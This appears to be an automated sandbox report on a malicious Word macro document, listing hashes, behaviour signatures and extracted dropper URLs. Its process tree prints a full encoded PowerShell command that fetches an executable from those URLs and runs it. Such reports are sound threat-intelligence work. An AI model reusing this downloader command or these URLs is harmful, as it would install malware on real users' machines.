Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2024 16:40

General

  • Target

    358d0deb05e22e9190356f31814cc768_JaffaCakes118.doc

  • Size

    323KB

  • MD5

    358d0deb05e22e9190356f31814cc768

  • SHA1

    fd5b594092d9c0956c58fa784aeac6b33db728c6

  • SHA256

    8f3d11ee0a6f59a0a86ea7bb4989e22cf4463d729f8aabb931457556aaf87797

  • SHA512

    427f57f2f4f0b78ff99550c1566f2a2fa9b503a67bec2ce02b2ceca3a226d51d921d2294e0728a1bdfc36039288d4fa418b6b95fe63732677de8127e9d0ab306

  • SSDEEP

    6144:AG5/BnVfRFJ7KK9aHScdX9znGUbd7e1+gsIUF25Q/YB2KBhCET/Gh:A2n9R/lA5dX9znGUbwggaFJ/YBTT/2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://katleyafloreria.com/n0vpOjlS

exe.dropper

http://ingramjapan.com/h9XwHYQu

exe.dropper

http://farmsys.scketon.com/GKGY9e4v

exe.dropper

http://truenorthtimber.com/CSncj8f

exe.dropper

http://karditsa.org/ohCJotRf8F

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\358d0deb05e22e9190356f31814cc768_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
      powersheLl -e JABOAF8ANgAyADEANABfAF8APQAoACcAZAAnACsAJwAxADAAXwAnACsAJwAxADUAXwA5ACcAKQA7ACQAcwBfAF8AOAA1ADYAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAUwA3ADAAMAA0ADUAXwA9ACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGsAYQB0AGwAZQB5AGEAZgAnACsAJwBsACcAKwAnAG8AcgBlAHIAaQBhACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACsAJwBuADAAdgBwACcAKwAnAE8AJwArACcAagAnACsAJwBsACcAKwAnAFMAJwArACcAQAAnACsAJwBoAHQAJwArACcAdABwACcAKwAnADoAJwArACcALwAnACsAJwAvAGkAbgBnAHIAJwArACcAYQBtAGoAYQAnACsAJwBwAGEAbgAuAGMAbwBtAC8AaAA5AFgAJwArACcAdwAnACsAJwBIAFkAUQB1AEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBmACcAKwAnAGEAcgAnACsAJwBtAHMAeQBzAC4AcwBjAGsAZQB0AG8AbgAuAGMAbwBtAC8ARwBLAEcAJwArACcAWQA5AGUANAB2AEAAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwB0AHIAdQAnACsAJwBlAG4AbwByACcAKwAnAHQAJwArACcAaAB0AGkAbQBiACcAKwAnAGUAcgAuAGMAbwAnACsAJwBtACcAKwAnAC8AQwBTACcAKwAnAG4AJwArACcAYwBqADgAJwArACcAZgBAAGgAdAAnACsAJwB0AHAAOgAvAC8AJwArACcAawBhAHIAZABpACcAKwAnAHQAcwAnACsAJwBhACcAKwAnAC4AbwAnACsAJwByACcAKwAnAGcAJwArACcALwBvAGgAQwBKACcAKwAnAG8AdABSAGYAOABGACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAGsAMgA5ADkAMQBfADAAOAA9ACgAJwBTACcAKwAnADkAXwAnACsAJwA2ADYANwAwACcAKQA7ACQAdQA5ADQAOQBfAF8AMQAwACAAPQAgACcAOQAnADsAJAB1ADEAXwBfADIAXwBfADYAPQAoACcASgA3ACcAKwAnADYAJwArACcAMwAxADMANAAnACkAOwAkAEcAXwAxADkAXwA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB1ADkANAA5AF8AXwAxADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAF8AOAA3ADQAXwAyADAAIABpAG4AIAAkAFMANwAwADAANAA1AF8AKQB7AHQAcgB5AHsAJABzAF8AXwA4ADUANgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABIAF8AOAA3ADQAXwAyADAALAAgACQARwBfADEAOQBfADgAKQA7ACQAUgA5ADQAMQAyADUAPQAoACcATwA3ACcAKwAnADgAOQBfACcAKwAnADAAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQARwBfADEAOQBfADgAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABHAF8AMQA5AF8AOAA7ACQAaQA0ADAANwAzAF8ANABfAD0AKAAnAHcAMwAnACsAJwA5ADUANAA0ACcAKwAnAF8AJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAMABfAF8AOAAzADkAPQAoACcAQgBfADcAJwArACcAXwBfADMANgAnACsAJwBfACcAKQA7AA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1740

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      6f6100ff73135b34fa786f3fea2c0855

      SHA1

      500f6b318143a21a83f070fa47790eeaa29e167f

      SHA256

      614a4b381eb784e25547f6897c8cdbaa6ab7f89391e4bf51a02ace100ea04ad3

      SHA512

      aa8ac883344ffd76d839ba9e4b245b0fbe0e27812b188a3d290470f5aefe6130ddcdf983a8a2b77f4089b7e592aa24db5c97a4bd19fae095ecfd2bfcfbd6c1bd

    • memory/1740-139-0x000000001B660000-0x000000001B942000-memory.dmp

      Filesize

      2.9MB

    • memory/1740-140-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB

    • memory/3048-131-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-40-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-53-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-133-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-132-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-0-0x000000002FFE1000-0x000000002FFE2000-memory.dmp

      Filesize

      4KB

    • memory/3048-52-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-28-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-2-0x000000007178D000-0x0000000071798000-memory.dmp

      Filesize

      44KB

    • memory/3048-148-0x000000007178D000-0x0000000071798000-memory.dmp

      Filesize

      44KB

    • memory/3048-149-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-150-0x0000000006640000-0x0000000006740000-memory.dmp

      Filesize

      1024KB

    • memory/3048-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3048-165-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3048-166-0x000000007178D000-0x0000000071798000-memory.dmp

      Filesize

      44KB